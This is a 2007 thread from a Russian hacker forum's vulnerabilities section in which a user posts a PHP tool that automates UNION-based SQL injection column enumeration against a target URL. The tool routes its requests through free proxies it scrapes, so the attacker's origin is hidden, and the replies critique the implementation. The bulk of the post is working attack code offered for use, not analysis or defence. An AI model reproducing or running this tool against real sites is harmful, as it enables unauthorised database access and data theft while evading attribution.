скрипт подбора колонок на php

Discussion in 'Уязвимости' started by fod, 7 Feb 2007.

  1. fod

    fod Member

    Joined:
    5 Feb 2007
    Messages:
    11
    Likes Received:
    5
    Reputations:
    10
    Очень простой скрипт для автоматизации подбора.
    Советы, пожелания... ?

    Использование простое, вставляем найденную скуль, вставляем, что искать в контенте и количесво колонок на перебор.


    PHP:
    <html>
    <body>
    <style>
    body {font-family: verdana;}
    div.text {width: 600px; border: 1px dashed red; padding: 10px; text-align: left;}
    div.results {width: 600px; border: 1px dashed #27B158; padding: 10px; text-align: left;}
    ._text {width: 100%; font-family: Verdana;}
    ._submit {font-family: verdana; font-weight: bold;}
    </style>
    <div align="center">
    <div class="results">

    </div>
    <br />
    <div class="text">
    <b>Подбор количества столбцов.</b><br /><br />
    <form name="sql_injection" action="" method="post">
    URL: <input class="_text" name="url" type="text" value="<?=(isset($_POST['url']))?$_POST['url']:'http://www.example.com/sql.php?id=-1+union+select+1/*'?>"><br /><br />
    Искать в контенте текст:<br />
    <input class="_text" name="text" type="text" value="<?=(isset($_POST['text']))?$_POST['text']:'SELECT statements'?>"><br />
    <input name="type" type="radio" value="-"<?=((isset($_POST['type']) AND $_POST['type']=='-') OR !isset($_POST['type']))?' checked':''?>> пока не пропадет.<br />
    <input name="type" type="radio" value="+"<?=(isset($_POST['type']) AND $_POST['type']=='+')?' checked':''?>> пока не появится. <br /><br />
    Максимальное количество столбцов.<br />
    <input class="_text" name="columns" type="text" value="<?=(isset($_POST['columns']))?$_POST['columns']:100?>"><br /><br />
    <input class="_submit" type="submit" name="submit" value="Подбор!">
    </form>
    </div>
    </div>
    </body>
    </html>
    <pre>
    <?php
    set_time_limit
    (0);

    function 
    parse_for_proxy()
    {
            
    $html file_get_contents("http://www.proxy4free.com/page1.html");
            
    preg_match_all("#<td>(\d+\.\d+\.\d+\.\d+)<\/td>\s*<td>(\d+)<\/td>#s"$html$m);

            for (
    $i=0$i<sizeof($m[1]); $i++)
            {
                    
    $proxies[] = $m[1][$i] . ':' $m[2][$i];
            }
            
    shuffle($proxies);
            return 
    $proxies;
    }

    function 
    check_proxy($prx)
    {
            
    $ch curl_init();
            
    curl_setopt($chCURLOPT_URL'http://www.msn.com/');
            
    curl_setopt($chCURLOPT_PROXY$prx);
            
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
            
    curl_setopt($chCURLOPT_HEADER1);
            
    curl_setopt($chCURLOPT_CONNECTTIMEOUT30);

            
    $data curl_exec ($ch);
            
    curl_close($ch);

            if (
    $data !== false AND preg_match('#HTTP\/1\.\d+ 200#',$data))
            {
                    return 
    true;
            }
            else
            {
                    return 
    false;
            }
    }


    function 
    http_get_contents($url$prx$timeout=7)
    {
            
    $ch curl_init();

            
    curl_setopt($chCURLOPT_URL$url);
            
    curl_setopt($chCURLOPT_RETURNTRANSFER1);

            
    curl_setopt($chCURLOPT_USERAGENT"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)");

            
    curl_setopt($chCURLOPT_PROXY$prx);

            
    curl_setopt($chCURLOPT_VERBOSE0);// показывать вывод
            
    curl_setopt($chCURLOPT_CONNECTTIMEOUT$timeout);
            
    curl_setopt($chCURLOPT_TIMEOUT$timeout);
            
    curl_setopt($chCURLOPT_NOSIGNALfalse);

            
    $data curl_exec ($ch);

            
    /*
            $inf = curl_getinfo($ch);
            $error = curl_error($ch);
            $errno = curl_errno($ch);
            */

            
    curl_close($ch);

            return 
    $data;
    }

    if (isset(
    $_POST['submit']))
    {
            
    $proxies parse_for_proxy();
            for (
    $i 0$i sizeof($proxies); $i++)
            {
                    if (
    check_proxy($proxies[$i]))
                    {
                            
    $proxy $proxies[$i];
                            echo 
    'Прокся: ' $proxies[$i] . "\n";
                            break;
                    }
                    else
                    {
                            
    $proxy false;
                    }
            }

            if(
    $proxy == false)
            {
                    echo 
    'Нет живых proxy.';
                    exit;
            }

            if (
    get_magic_quotes_gpc())
            {
                    foreach(
    $_POST as $k => $v)
                    {
                            
    $_POST[$k] = stripslashes($v);
                    }
            }

            
    $_POST['text'] = trim($_POST['text']);
            
    $_POST['url'] = trim($_POST['url']);
            
    $comments substr($_POST['url'], -2);
            
    $url substr($_POST['url'], 0, -2);

            
    $_POST['columns'] = ceil($_POST['columns'] * 1);

            for (
    $i 2$i <= $_POST['columns']; $i++)
            {
                    
    $url .= "," $i;
                    echo 
    $url $comments ."\n";
                    
    flush();

                    
    $html http_get_contents($url $comments$proxy);

                    if(
    $html == false)
                    {
                            echo 
    "Трабл с коннектом.";
                            exit;
                    }

                    
    $searching strpos($html$_POST['text']);

                    
    var_dump($searching);

                    if(
    $_POST['type'] == '-' AND $searching === false)
                    {
                            break;
                    }
                    elseif(
    $_POST['type'] == '+' AND $searching)
                    {
                            break;
                    }
            }
    }
    ?>
     
    1 person likes this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Нуу это не дело. А если на сервере курла нету?
     
  3. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    Ничего... Пригодится...
     
  4. fod

    fod Member

    Joined:
    5 Feb 2007
    Messages:
    11
    Likes Received:
    5
    Reputations:
    10
    да, это минус. будет время, через сокеты переделаю...
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Корявая реализация.
     
  6. fod

    fod Member

    Joined:
    5 Feb 2007
    Messages:
    11
    Likes Received:
    5
    Reputations:
    10
    Был бы очень признателен, если б ткнули в кривизну.